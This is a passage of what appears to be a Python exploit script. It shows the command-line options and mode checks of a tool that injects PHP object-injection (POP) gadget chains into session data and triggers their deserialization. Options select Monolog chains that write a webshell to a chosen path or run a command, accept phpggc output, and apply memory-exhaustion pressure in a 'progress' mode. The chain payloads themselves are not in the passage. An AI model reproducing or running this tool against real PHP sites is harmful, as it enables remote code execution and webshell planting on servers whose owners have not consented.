ap.add_argument("--inject-param", default="data",
help="POST parameter stored in $_SESSION (default: data)")
ap.add_argument("--write-url",
help="URL of php_serialize endpoint (progress mode)")
ap.add_argument("--trigger-url", required=True,
help="URL of endpoint using default php handler "
"(triggers deserialization)")
ap.add_argument("--chain", choices=list(CHAINS.keys()),
help="Built-in POP chain")
ap.add_argument("--chain-file",
help="Custom serialized chain file (e.g., phpggc output)")
ap.add_argument("--write-path",
help="Target file path for monolog-fw chain")
ap.add_argument("--shell-code",
help="PHP code for webshell (monolog-fw, default: system)")
ap.add_argument("--cmd", help="Command for monolog-cmd chain")
ap.add_argument("--fields", type=int, default=30000,
help="OOM pressure fields for progress mode (default: 30000)")
ap.add_argument("--field-size", type=int, default=512,
help="Bytes per OOM field (default: 512)")
args = ap.parse_args()
if args.mode == "inject" and not args.inject_url:
print("[!] --inject-url required for inject mode")
sys.exit(1)
if args.mode == "progress" and not args.write_url:
print("[!] --write-url required for progress mode")
sys.exit(1)
if not args.chain and not args.chain_file:
print("[!] Specify --chain or --chain-file")
sys.exit(1)
run(args)
if __name__ == "__main__":
main()